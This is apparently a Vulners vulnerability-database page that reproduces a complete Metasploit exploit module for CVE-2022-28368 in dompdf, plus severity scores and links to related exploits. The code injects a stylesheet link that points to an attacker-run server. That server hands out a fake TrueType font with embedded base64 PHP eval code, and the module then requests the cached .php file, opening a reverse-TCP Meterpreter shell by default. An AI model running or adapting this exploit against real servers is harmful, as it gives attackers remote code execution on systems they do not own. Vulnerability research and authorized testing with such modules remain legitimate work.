Lucene search
K

Dompdf RCE via Malicious Font Caching (CVE-2022-28368)

🗓️ 21 May 2026 19:01:04Reported by Maximilian Kirchmeier, Fabian Bräunlein, rvizx, msutovsky-r7, Adithya PawarType 
metasploit
 metasploit
🔗 www.rapid7.com👁 116 Views

Exploits CVE-2022-28368 in dompdf to achieve remote code execution via font caching.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Dompdf 1.2.1 - Remote Code Execution Exploit
6 Apr 202300:00
zdt
GithubExploit
Exploit for Cross-site Scripting in Dompdf_Project Dompdf
13 Feb 202308:10
githubexploit
GithubExploit
Exploit for Cross-site Scripting in Dompdf_Project Dompdf
28 Apr 202309:49
githubexploit
ATTACKERKB
CVE-2022-28368
3 Apr 202203:15
attackerkb
Circl
CVE-2022-28368
3 Apr 202207:21
circl
CNNVD
Dompdf 跨站脚本漏洞
3 Apr 202200:00
cnnvd
CVE
CVE-2022-28368
3 Apr 202200:00
cve
Cvelist
CVE-2022-28368
3 Apr 202200:00
cvelist
Debian CVE
CVE-2022-28368
3 Apr 202200:00
debiancve
Exploit DB
Dompdf 1.2.1 - Remote Code Execution (RCE)
6 Apr 202300:00
exploitdb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dompdf RCE via Malicious Font Caching (CVE-2022-28368)',
        'Description' => %q{
          This module exploits CVE-2022-28368, a Remote Code Execution vulnerability
          in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf
          preserves the original file extension when caching fonts downloaded via CSS
          @font-face rules. By pointing a @font-face src to a .php file containing a
          valid TrueType font header with embedded PHP code, the file is saved in the
          dompdf font cache (lib/fonts/) with its .php extension intact. The cached
          file can then be executed by directly requesting it from the web server.

          For dompdf versions <= 0.8.5, remote font loading works regardless of the
          $isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the
          $isRemoteEnabled option must be set to true.

          This module requires the ability to inject HTML/CSS into the data processed
          by dompdf (e.g., via an XSS, a user-controlled form field, or a direct
          parameter) and that the dompdf font cache directory is web-accessible.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maximilian Kirchmeier',   # Vulnerability discovery (Positive Security)
          'Fabian Bräunlein',        # Vulnerability discovery (Positive Security)
          'rvizx',                   # PoC exploit
          'msutovsky-r7',            # Metasploit module final
          'Adithya Pawar'            # Metasploit module init
        ],
        'References' => [
          ['CVE', '2022-28368'],
          ['GHSA', '56gj-mvh6-rp75'],
          ['URL', 'https://positive.security/blog/dompdf-rce'],
          ['URL', 'https://github.com/rvizx/CVE-2022-28368']
        ],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2022-04-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('DOMPDF_PATH', [true, 'Web-accessible path to the dompdf installation', '/dompdf']),
        OptString.new('INJECT_PARAMETER', [true, 'The parameter allowing to inject custom CSS', '']),
      ]
    )
  end

  FONT_HEADER = "\x00\x01\x00\x00\x00\x0F\x00\x80\x00\x03\x00\x70\x44\x53\x49\x47" \
            "\x00\x00\x00\x01\x00\x00\x75\xE0\x00\x00\x00\x08\x47\x44\x45\x46" \
            "\x00\x10\x00\xC7\x00\x00\x75\xE8\x00\x00\x00\x16\x47\x50\x4F\x53" \
            "\x6C\x91\x74\x8F\x00\x00\x76\x00\x00\x00\x00\x20\x47\x53\x55\x42" \
            "\xE0\x34\xE1\xE2\x00\x00\x76\x20\x00\x00\x00\x46\x4F\x53\x2F\x32" \
            "\x34\xF4\x4A\xE2\x00\x00\x01\x78\x00\x00\x00\x60\x63\x6D\x61\x70" \
            "\x65\xE2\xC8\xD2\x00\x00\x04\xF4\x00\x00\x02\x26\x67\x61\x73\x70" \
            "\xFF\xFF\x00\x03\x00\x00\x75\xD8\x00\x00\x00\x08\x67\x6C\x79\x66" \
            "\x1D\x57\xEE\x42\x00\x00\x08\xAC\x00\x00\x68\x6C\x68\x65\x61\x64" \
            "\x1C\x59\xE0\x33\x00\x00\x00\xFC\x00\x00\x00\x36\x68\x68\x65\x61" \
            "\x08\x66\x02\xF8\x00\x00\x01\x34\x00\x00\x00\x24\x68\x6D\x74\x78" \
            "\x2C\xBF\xFF\xD3\x00\x00\x01\xD8\x00\x00\x03\x1C\x6C\x6F\x63\x61" \
            "\x72\xA0\x8C\x94\x00\x00\x07\x1C\x00\x00\x01\x90\x6D\x61\x78\x70" \
            "\x00\xD5\x01\x87\x00\x00\x01\x58\x00\x00\x00\x20\x6E\x61\x6D\x65" \
            "\x3D\x94\x69\x86\x00\x00\x71\x18\x00\x00\x02\xE4\x70\x6F\x73\x74" \
            "\x4C\x60\x52\x7C\x00\x00\x73\xFC\x00\x00\x01\xD9\x00\x01\x00\x00" \
            "\x00\x01\x00\x00\x7C\x16\x35\xE6\x5F\x0F\x3C\xF5\x00\x0B\x03\xE8" \
            "\x00\x00\x00\x00\xD7\x8F\x89\xE0\x00\x00\x00\x00\xE1\xCB\x12\x5C" \
            "\xFF\x74\xFE\x93\x04\x6D\x04\x81\x00\x00\x00\x06\x00\x01\x00\x00" \
            "\x00\x00".b.freeze

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', 'dompdf_font_family_cache.php')
    )

    return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'VERSION')
    )

    return Exploit::CheckCode::Safe('The target is not running DOMPDF') unless res&.code == 200

    version = Rex::Version.new(res.body.strip)

    return Exploit::CheckCode::Appears("The vulnerable version of DOMPDF #{version} detected") if version <= Rex::Version.new('1.2.0')

    Exploit::CheckCode::Safe("The DOMPDF detected, but it's running patched version")
  end

  def on_request_uri(cli, request)
    css_payload = %<
    @font-face {
    font-family:'#{@font_family_name}';
    src:url('#{@malicious_font_uri}');
    font-weight:'normal';
    font-style:'normal';
  }
  >
    font_payload = FONT_HEADER + %<\n<?php eval(base64_decode("#{Rex::Text.encode_base64(payload.encoded)}")) ?>>
    case request.uri
    when "/#{@css_name}"
      print_status('Serving exploit CSS file to dompdf...')
      send_response(cli, css_payload, {
        'Content-Type' => 'text/css'
      })
    when "/#{@font_name}"
      print_status('Serving font TTF file to dompdf...')
      send_response(cli, font_payload, {
        'Content-Type' => 'application/octet-stream'
      })
    else
      print_error("Unexpected request: #{request.uri}")
      send_not_found(cli)
    end
  end

  def send_payload
    param_name = datastore['INJECT_PARAMETER']

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH']),
      'method' => 'GET',
      'vars_get' =>
      {
        'pdf' => nil,
        param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
      }
    })
    return true if res&.code == 200

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH']),
      'method' => 'POST',
      'vars_post' => {
        param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
      }
    })

    return true if res&.code == 200

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URIPATH']),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        param_name => %(<link rel=stylesheet href='#{@malicious_css_uri}'>)
      }.to_json
    })

    return true if res&.code == 200

    false
  end

  def trigger_payload
    send_request_cgi({
      'uri' => normalize_uri(datastore['DOMPDF_PATH'], 'lib', 'fonts', "#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php"),
      'method' => 'GET'
    })
  end

  def load_malicious_font
    @font_name = "#{Rex::Text.rand_text_alpha(8)}.php"
    @css_name = "#{Rex::Text.rand_text_alpha(8)}.css"
    @font_family_name = Rex::Text.rand_text_alpha(8)
    binding_ip = srvhost_addr

    proto = datastore['SSL'] ? 'https' : 'http'
    @malicious_css_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@css_name}"
    @malicious_font_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{@font_name}"

    fail_with(Failure::PayloadFailed, 'Failed to load malicious font') unless send_payload
  end

  def exploit
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => '/'
      }
    })
    load_malicious_font

    register_file_for_cleanup("#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php")

    trigger_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2026 19:01Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
CVSS 3.19.8
EPSS0.88271
116